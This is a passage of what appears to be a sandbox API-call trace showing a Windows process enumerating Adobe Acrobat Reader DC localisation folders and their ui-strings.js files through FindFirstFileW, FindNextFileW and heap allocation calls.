ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0262.909] GetProcessHeap () returned 0xc10000 [0262.909] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.909] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.910] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.910] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.910] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.910] GetProcessHeap () returned 0xc10000 [0262.910] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.910] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0262.910] GetProcessHeap () returned 0xc10000 [0262.910] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.911] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.911] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.911] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.912] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.912] GetProcessHeap () returned 0xc10000 [0262.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.912] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0262.912] GetProcessHeap () returned 0xc10000 [0262.912] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.914] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.914] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.914] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.914] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.924] GetProcessHeap () returned 0xc10000 [0262.924] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.924] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0262.924] GetProcessHeap () returned 0xc10000 [0262.924] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.925] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.925] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.926] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.926] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.926] GetProcessHeap () returned 0xc10000 [0262.926] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.926] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0262.927] GetProcessHeap () returned 0xc10000 [0262.927] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.927] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.927] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x185a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.928] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x185a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.928] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.928] GetProcessHeap () returned 0xc10000 [0262.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.928] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0262.928] GetProcessHeap () returned 0xc10000 [0262.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.930] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.930] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2508, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.930] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2508, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.930] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.938] GetProcessHeap () returned 0xc10000 [0262.938] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.938] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0262.938] GetProcessHeap () returned 0xc10000 [0262.938] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.939] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.940] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.940] GetProcessHeap () returned 0xc10000 [0262.940] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.940] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0262.940] GetProcessHeap () returned 0xc10000 [0262.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.941] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.941] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.941] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, 